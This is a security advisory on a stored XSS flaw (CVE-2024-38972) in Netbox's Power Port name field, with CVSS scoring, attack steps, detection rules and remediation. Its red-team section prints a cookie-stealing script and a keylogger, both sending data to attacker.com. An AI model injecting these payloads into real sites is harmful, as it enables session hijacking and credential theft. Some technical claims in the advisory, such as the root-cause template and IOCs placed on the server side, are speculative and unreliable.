CVE-2024-38972

Executive Summary

CVE-2024-38972 is a stored Cross-Site Scripting (XSS) vulnerability identified in Netbox v4.0.3, specifically within the Power Port creation functionality. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter at /dcim/power-ports/add/. This payload is stored on the server and executed in the browsers of other users who view the affected Power Port, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity but requiring user interaction. No official patch has been released at the time of analysis, and no public exploit code or Nuclei template is available.

Supply Chain & Package Security

Netbox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability affects the core application logic, not a third-party package. However, organizations using Netbox should verify their deployment version and apply any upstream patches as soon as they become available. The lack of a patch increases the risk of supply chain attacks if malicious actors fork or distribute modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid account with permission to add Power Ports.
• User Interaction (UI): Required – The victim must view the malicious Power Port page.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it dangerous in multi-tenant environments or internal networks.

Deep Dive & Mechanics

The vulnerability resides in the Power Port creation form (/dcim/power-ports/add/). The Name field is not properly sanitized or encoded before being stored in the database and later rendered in the web interface. When an administrator or other user navigates to the Power Port list or detail view, the injected script executes in their browser context.

Root Cause: The application fails to escape user input in the Name parameter before outputting it in HTML. This is a classic stored XSS (CWE-79) flaw.

Attack Flow:

1. Attacker logs into Netbox with an account that has dcim.add_powerport permission.
2. Attacker navigates to /dcim/power-ports/add/ and enters a malicious payload in the Name field, e.g.:

   <script>alert('XSS')</script>
   

3. The payload is stored in the database.
4. When a victim (e.g., an admin) views the Power Port list or detail page, the script executes.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (Netbox v4.0.3): The Name field in the Power Port model is rendered without escaping in the template. For example, in templates/dcim/powerport.html:

<td>{{ powerport.name }}</td>

Django’s default auto-escaping is disabled or overridden, or the field is marked as safe.

Patched Code (Expected): The fix should ensure proper HTML escaping. In Django, this is achieved by using the escape filter or ensuring auto-escaping is enabled:

<td>{{ powerport.name|escape }}</td>

Alternatively, the model field should be validated to strip or encode HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Netbox v4.0.3 instance.
• Valid credentials with dcim.add_powerport permission.

Step-by-Step Exploitation:

1. Log in to Netbox.
2. Navigate to /dcim/power-ports/add/.
3. In the Name field, inject a payload. Example for session cookie theft:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

4. Submit the form.
5. Craft a phishing link or wait for an admin to view the Power Port list.
6. The victim’s browser executes the script, sending their session cookie to the attacker’s server.

Example Payload for Keylogging:

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor logs for unusual POST requests to /dcim/power-ports/add/ containing HTML tags or JavaScript.
• Use WAF rules to block payloads containing <script> or onerror attributes in the Name parameter.
• Deploy CSP headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

Hardening:

• Restrict dcim.add_powerport permissions to trusted users only.
• Implement input validation on the Name field to reject HTML tags.
• Apply the latest patches from Netbox as soon as they are released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Netbox server.
  • Suspicious POST requests to /dcim/power-ports/add/ with name parameter containing <script> or on* event handlers.
• Host IOCs:
  • Log entries showing creation of Power Ports with HTML/JavaScript in the name field.
  • Unexpected JavaScript execution in browser developer tools when viewing Power Port pages.
• File IOCs:
  • Modified database entries in the dcim_powerport table with name containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_38972_Netbox_XSS {
    meta:
        description = "Detects stored XSS payloads in Netbox Power Port name field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38972"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Netbox Stored XSS in Power Port Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-38972 by injecting XSS payloads into the Power Port name field.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: '/dcim/power-ports/add/'
        http.body|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38972 Netbox Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/dcim/power-ports/add/"; http_uri; content:"name="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Permissions: Limit dcim.add_powerport to only essential users.
2. Input Validation: Implement server-side validation to strip HTML tags from the Name field.
3. WAF Rules: Deploy web application firewall rules to block XSS payloads in the Name parameter.
4. CSP Headers: Add Content Security Policy headers to mitigate script execution.

Long-Term Fix:

• Upgrade to a patched version of Netbox once released.
• Apply the vendor’s official patch or manually fix the template to escape output.

Workaround:

• Disable the Power Port creation feature temporarily if not critical.

Valters IT